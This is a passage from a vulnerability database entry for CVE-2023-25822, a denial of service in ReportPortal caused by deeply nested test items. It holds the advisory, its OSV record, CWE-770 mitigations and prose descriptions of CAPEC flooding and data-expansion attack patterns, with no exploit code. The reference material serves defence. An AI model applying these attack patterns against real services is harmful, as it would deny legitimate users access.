"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJ24-GPW7-23M9
Vulnerability from github – Published: 2023-10-10 18:28 – Updated: 2023-10-13 20:28Impact
ReportPortal database becomes unstable and reporting almost fully stops except for small launches with approximately 1 test inside when the test_item.path field is exceeded the allowable "ltree" field type indexing limit (path length>=120 approximately, recursive nesting of the nested steps).
REINDEX INDEX path_gist_idx and path_idx aren't helped.
Patches
The problem was fixed in service-api module of version 5.10.0 (product release 23.2), where the maximum number of nested elements were programmatically limited.
Workarounds
After deletion of the data with long paths, and reindexing both indexes (path_gist_idx and path_idx), the database becomes stable and ReportPortal is working properly.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.epam.reportportal:service-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25822"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-10T18:28:11Z",
"nvd_published_at": "2023-10-09T14:15:10Z",
"severity": "MODERATE"
},
"details": "### Impact\nReportPortal database becomes unstable and reporting almost fully stops except for small launches with approximately 1 test inside when the test_item.path field is exceeded the allowable \"ltree\" field type indexing limit (path length\u003e=120 approximately, recursive nesting of the nested steps). \n\nREINDEX INDEX path_gist_idx and path_idx aren\u0027t helped. \n\n### Patches\nThe problem was fixed in `service-api` module of version `5.10.0` (product release [23.2](https://reportportal.io/docs/releases/Version23.2/)), where the maximum number of nested elements were programmatically limited.\n\n### Workarounds\nAfter deletion of the data with long paths, and reindexing both indexes (path_gist_idx and path_idx), the database becomes stable and ReportPortal is working properly.",
"id": "GHSA-mj24-gpw7-23m9",
"modified": "2023-10-13T20:28:09Z",
"published": "2023-10-10T18:28:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/reportportal/reportportal/security/advisories/GHSA-mj24-gpw7-23m9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25822"
},
{
"type": "PACKAGE",
"url": "https://github.com/reportportal/reportportal"
},
{
"type": "WEB",
"url": "https://github.com/reportportal/reportportal/releases/tag/v23.2"
},
{
"type": "WEB",
"url": "https://reportportal.io/docs/releases/Version23.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service vulnerability on creating a Launch with too many recursively nested elements in reportportal"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.